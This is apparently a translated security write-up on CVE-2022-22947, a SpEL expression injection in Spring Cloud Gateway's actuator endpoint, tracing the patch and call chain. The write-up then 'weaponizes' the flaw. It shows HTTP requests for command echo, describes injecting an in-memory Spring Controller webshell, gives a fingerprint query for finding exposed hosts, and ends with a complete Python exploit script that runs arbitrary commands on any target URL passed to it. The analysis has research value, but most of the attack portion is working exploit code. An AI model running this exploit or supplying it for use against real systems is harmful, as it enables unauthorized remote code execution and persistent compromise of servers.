Spring Cloud Gateway Expression Injection Remote Command Execution Vulnerability Cve 2022 22947
Spring Cloud Gateway Expression Injection Remote Command Execution Vulnerability CVE-2022-22947
Vulnerability Description
Spring Cloud Gateway is an API gateway built on Spring Framework and Spring Boot. It aims to provide a simple, effective and unified API routing management method for microservice architectures.
Recently, VMware officially released the Spring Cloud Gateway SPEL expression injection vulnerability CVE-2022-22947, which can lead to unauthorized remote command execution vulnerability:
Vulnerability Impact
Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway Other versions that are no longer updated
Network surveying and mapping
app=”vmware-SpringBoot-Framework”</span>
Vulnerability reappears
You can download the vulnerable version v3.1.0 from Github and then load it with idea:
Judging from the vulnerability notification, this is a SPEL expression injection vulnerability. Compare the patch org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue
:
The new version replaced the StandardEvaluationContext in the getValue function with SimpleEvaluationContext
, thus fixing SPEL expression injection.
Called only in the three values of the enumeration value ShortcutType
(DEFAULT
, GATHER_LIST
, GATHER_LIST_TAIL_FLAG
):
The three calls are similar. Taking DEFAULT as an example, continue to look for the call relationship:
Position all the way to RouteDefinitionLocator#convertToRoute
:
Try to extract the GatewayFilter list based on the RouteDefinition
.
Positioning Processing Controller org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint
:
The POST input parameter is of type RouteDefinition
, which is consistent with the input parameter type of the convertToRoute
function in the call chain above.
View the RouteDefinition
definition:
Note the definition of the list-type variable FilterDefinition
:
It is easy to construct POST test requests with reference to the definition of the RouteDefinition
variable:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 166
{
"id": "id",
"filters": [{
"name": "123456",
"args": {}
}],
"uri": "https://localhost"
}
Trigger breakpoint:
First, the parameters will be checked through the function validateRouteDefinition
:
Enter the verification function isAvailable
:
The code will verify whether the name
attribute of Filter
is legal, and the legal list is sorted as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class org.springframework.cloud.gateway.filter.factory.AddRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.MapRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.AddRequestParameterGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.rewrite.ModifyRequestBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.DedupeResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.rewrite.ModifyResponseBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.CacheRequestBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.PrefixPathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.PreserveHostHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RedirectToGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveRequestParameterGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewritePathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RetryGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetPathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SecureHeadersGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetRequestHostHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewriteResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewriteLocationResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetStatusGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SaveSessionGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.StripPrefixGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestHeaderToRequestUriGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestSizeGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestHeaderSizeGatewayFilterFactory
You can choose one of the GatewayFilterFactory
at will, for example, use Retry
to modify the request package:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 181
{
"id": "1234567",
"filters": [{
"name": "Retry",
"args": {
"a":"payload"
}
}],
"uri": "https://localhost"
}
The route creation is displayed after request.
1
2
3
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Expression parsing is successfully triggered:
Weaponization 1: Command echo
Discovery through debugging that the apply
function corresponding to GatewayFilter
will be called when refresh routing.
Recalling the previous legal GatewayFilter
list, we found that there is a subclass called AddResponseHeaderGatewayFilterFactory
:
apply
function will write configuration information into the HTTP response packet, so you can try to use AddResponseHeaderGatewayFilterFactory
to construct the command echo request:
refresh executes a SPEL expression, writes the result to the HTTP response stream, and then accesses the created route, which can echo the result of the command execution:
A DELETE request can be sent to delete the created new route.
Weaponization 2: Spring Controller Memory Horse
CVE-2022-22947 is a SPEL expression injection vulnerability, and the framework is implemented based on the Spring Framework, so we consider injecting Spring memory horses through the vulnerability.
1
2
3
4
5
6
本文尝试构造Spring Controller内存马。Spring可以通过`RequestMappingHandlerMapping`来完成`@Contoller`和`@RequestMapping`注解,这里有两个比较关键的类:
`RequestMappingInfo`:一个封装类,对一次http请求中的相关信息进行封装
`HandlerMethod`:对Controller的处理请求方法的封装,里面包含了该方法所属的bean、method、参数等对象
函数`RequestMappingHandlerMapping#registerHandlerMethod`可以将Controller函数与`RequestMappingInfo`对象关联起来。首先寻找`RequestMappingHandlerMapping`对象。我们可以尝试在内存中搜索,借助`java-object-searcher`搜索,结果如下:
In addition to extracting RequestMappingInfo
through Thread
, by observing the code parsing SPEL expression, it is found that the object in the context environment has beanFactory
:
There are 337 Bean object information, and the following code can be used to assist in printing the results:
1
2
3
for(int i = 0; i<((DefaultListableBeanFactory) beanFactory).beanDefinitionNames.toArray().length; i++){
System.out.println(((DefaultListableBeanFactory) beanFactory).beanDefinitionNames.toArray()[i]);
}
Directly use the beanFactory
in the SPEL online environment to obtain the RequestMappingHandlerMapping
object.
The next process of creating a memory horse is very simple. The final effect is to inject the following custom Controller
subclass into memory through SPEL expressions and complete the routing registration through the RequestMappingHandlerMapping
object:
After constructing a new payload, the data packet is sent:
After refresh, the memory horse will be injected:
Finally, remember to send a DELETE request to delete the created route.
Vulnerability POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import requests
import json
import sys
def exec(url):
headers1 = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/json'
}
headers2 = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
## command to execute replace "id" in payload
payload = '''{\r
"id": "hacktest",\r
"filters": [{\r
"name": "AddResponseHeader",\r
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r
}],\r
"uri": "https://example.com",\r
"order": 0\r
}'''
re1 = requests.post(url=url + "/actuator/gateway/routes/hacktest",data=payload,headers=headers1,json=json)
re2 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
re3 = requests.get(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
re4 = requests.delete(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
re5 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
print(re3.text)
if __name__ == "__main__":
print(''' ██████ ██ ██ ████████ ████ ████ ████ ████ ████ ████ ████ ██ ██████
██░░░░██░██ ░██░██░░░░░ █░░░ █ █░░░██ █░░░ █ █░░░ █ █░░░ █ █░░░ █ █░░░ █ █░█ ░░░░░░█
██ ░░ ░██ ░██░██ ░ ░█░█ █░█░ ░█░ ░█ ░ ░█░ ░█░█ ░█ █ ░█ ░█
░██ ░░██ ██ ░███████ █████ ███ ░█ █ ░█ ███ ███ █████ ███ ███ ░ ████ ██████ █
░██ ░░██ ██ ░██░░░░ ░░░░░ █░░ ░██ ░█ █░░ █░░ ░░░░░ █░░ █░░ ░░░█ ░░░░░█ █
░░██ ██ ░░████ ░██ █ ░█ ░█ █ █ █ █ █ ░█ █
░░██████ ░░██ ░████████ ░██████░ ████ ░██████░██████ ░██████░██████ █ ░█ █
░░░░░░ ░░ ░░░░░░░░ ░░░░░░ ░░░░ ░░░░░░ ░░░░░░ ░░░░░░ ░░░░░░ ░ ░ ░
██ ██ ██
░██ ██ ██ ░██ ░██
░██ ░░██ ██ ░██ ██ ██ █████ ░██ ██ ██████ ███████ █████
░██████ ░░███ ░██░██ ░██ ██░░░██░██ ██ ██░░░░██░░██░░░██ ██░░░██
░██░░░██ ░██ ██ ░██░██ ░██░██ ░░ ░████ ░██ ░██ ░██ ░██░███████
░██ ░██ ██ ░░ ░██░██ ░██░██ ██░██░██ ░██ ░██ ░██ ░██░██░░░░
░██████ ██ ██ ███░░██████░░█████ ░██░░██░░██████ ███ ░██░░██████
░░░░░ ░░ ░░ ░░░ ░░░░░░ ░░░░░ ░░ ░░ ░░░░░░ ░░░ ░░ ░░░░░░
usage: python3 test.py url
''')
if(len(sys.argv)>1):
url = sys.argv[1]
exec(url)
else:
exit()